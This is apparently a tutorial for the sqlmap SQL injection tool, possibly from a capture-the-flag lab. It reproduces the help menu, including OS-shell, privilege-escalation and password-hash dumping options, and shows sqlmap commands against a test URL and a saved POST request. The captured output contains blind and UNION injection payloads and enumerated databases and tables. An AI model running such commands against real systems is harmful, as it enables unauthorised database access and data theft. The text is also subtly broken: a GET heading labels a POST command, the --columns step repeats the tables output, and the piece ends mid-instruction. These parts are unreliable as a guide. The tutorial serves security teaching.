To show the basic help menu, simply type sqlmap -h in the terminal.
Help Message
nare@nare$ sqlmap -h
___
__H__
___ ___[']_____ ___ ___ {1.6#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Usage: python3 sqlmap [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs
Request:
These options can be used to specify how to connect to the target URL
--data=DATA Data string to be sent through POST (e.g. "id=1")
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--random-agent Use randomly selected HTTP User-Agent header value
--proxy=PROXY Use a proxy to connect to the target URL
--tor Use Tor anonymity network
--check-tor Check to see if Tor is used properly
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to provided value
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--passwords Enumerate DBMS users password hashes
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
General:
These options can be used to set some general working parameters
--batch Never ask for user input, use the default behavior
--flush-session Flush session files for current target
Miscellaneous:
These options do not fit into any other category
--wizard Simple wizard interface for beginner users
[!] to see full list of options run with '-hh'
Use randomly selected HTTP User-Agent header value
-p TESTPARAMETER
Testable parameter(s)
--level=LEVEL
Level of tests to perform (1-5, default 1)
--risk=RISK
Risk of tests to perform (1-3, default 1)
Enumeration commands:
These options can be used to enumerate the back-end database management system information, structure, and data contained in tables.
Options
Description
-a, --all
Retrieve everything
-b, --banner
Retrieve DBMS banner
--current-user
Retrieve DBMS current user
--current-db
Retrieve DBMS current database
--passwords
Enumerate DBMS users password hashes
--dbs
Enumerate DBMS databases
--tables
Enumerate DBMS database tables
--columns
Enumerate DBMS database table columns
--schema
Enumerate DBMS schema
--dump
Dump DBMS database table entries
--dump-all
Dump all DBMS databases tables entries
--is-dba
Detect if the DBMS current user is DBA
-D <DB NAME>
DBMS database to enumerate
-T <TABLE NAME>
DBMS database table(s) to enumerate
-C COL
DBMS database table column(s) to enumerate
Operating System access commands
These options can be used to access the back-end database management system on the target operating system.
Options
Description
--os-shell
Prompt for an interactive operating system shell
--os-pwn
Prompt for an OOB shell, Meterpreter or VNC
--os-cmd=OSCMD
Execute an operating system command
--priv-esc
Database process user privilege escalation
--os-smbrelay
One-click prompt for an OOB shell, Meterpreter or VNC
Note that the tables shown above aren't all the possible switches to use with sqlmap. For a more extensive list of options, run sqlmap -hh to display the advanced help message.
Now that we've seen some of the options we can use with sqlmap, let’s jump into the examples using both GET and POST Method based requests.
Simple HTTP GET Based Testsqlmap -u https://testsite.com/page.php?id=7 --dbs
Here we have used two flags: -u to state the vulnerable URL and --dbs to enumerate the database.
Simple HTTP POST Based Test
First, we need to identify the vulnerable POST request and save it. In order to save the request, Right Click on the request, select 'Copy to file', and save it to a directory. You could also copy the whole request and save it to a text file as well.
You’ll notice in the request above, we have a POST parameter 'blood_group' which could a vulnerable parameter.
Now that we’ve identified a potentially vulnerable parameter, let’s jump into the sqlmap and use the following command:
sqlmap -r req.txt -p blood_group --dbs
Here we have used two flags: -r to read the file, -p to supply the vulnerable parameter, and --dbs to enumerate the database.
Database Enumeration
nare@nare$ sqlmap -r req.txt -p blood_group --dbs
[19:31:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[19:31:50] [INFO] POST parameter 'blood_group' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[19:33:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:33:09] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:33:09] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[19:33:09] [WARNING] most likely web server instance hasn't recovered yet from previous timed based payload. If the problem persists please wait for a few minutes and rerun without flag 'T' in option '--technique' (e.g. '--flush-session --technique=BEUS') or try to lower the value of option '--time-sec' (e.g. '--time-sec=2')
[19:33:10] [WARNING] reflective value(s) found and filtering out
[19:33:12] [INFO] target URL appears to be UNION injectable with 8 columns
[19:33:13] [INFO] POST parameter 'blood_group' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'blood_group' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 71 HTTP(s) requests:
---
Parameter: blood_group (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: blood_group=B+' AND (SELECT 3897 FROM (SELECT(SLEEP(5)))Zgvj) AND 'gXEj'='gXEj
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: blood_group=B+' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a767a71,0x58784e494a4c43546361475a45546c676e736178584f517a457070784c616b4849414c69594c6371,0x71716a7a71)-- -
---
[19:33:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[19:33:17] [INFO] fetching database names
available databases [6]:
[*] blood
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] test
Now that we have the databases, let's extract tables from the database blood.
Using GET based Methodsqlmap -u https://testsite.com/page.php?id=7 -D blood --tables
sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --tablesUsing POST based Method
Once we run these commands, we should get the tables.
Getting Tables
nare@nare$ sqlmap -r req.txt -p blood_group -D blood --tables
[19:35:57] [INFO] parsing HTTP request from 'req.txt'
[19:35:57] [INFO] resuming back-end DBMS 'mysql'
[19:35:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: blood_group (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: blood_group=B+' AND (SELECT 3897 FROM (SELECT(SLEEP(5)))Zgvj) AND 'gXEj'='gXEj
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: blood_group=B+' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a767a71,0x58784e494a4c43546361475a45546c676e736178584f517a457070784c616b4849414c69594c6371,0x71716a7a71)-- -
---
[19:35:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[19:35:58] [INFO] fetching tables for database: 'blood'
[19:35:58] [WARNING] reflective value(s) found and filtering out
Database: blood
[3 tables]
+----------+
| blood_db |
| flag |
| users |
+----------+
Once we have available tables, now let’s gather the columns from the table blood_db.
Using GET based Method
nare@nare$ sqlmap -r req.txt -D blood -T blood_db --columns
[19:35:57] [INFO] parsing HTTP request from 'req.txt'
[19:35:57] [INFO] resuming back-end DBMS 'mysql'
[19:35:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: blood_group (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: blood_group=B+' AND (SELECT 3897 FROM (SELECT(SLEEP(5)))Zgvj) AND 'gXEj'='gXEj
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: blood_group=B+' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a767a71,0x58784e494a4c43546361475a45546c676e736178584f517a457070784c616b4849414c69594c6371,0x71716a7a71)-- -
---
[19:35:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[19:35:58] [INFO] fetching tables for database: 'blood'
[19:35:58] [WARNING] reflective value(s) found and filtering out
Database: blood
[3 tables]
+----------+
| blood_db |
| flag |
| users |
+----------+
Or we can simply dump all the available databases and tables using the following commands.
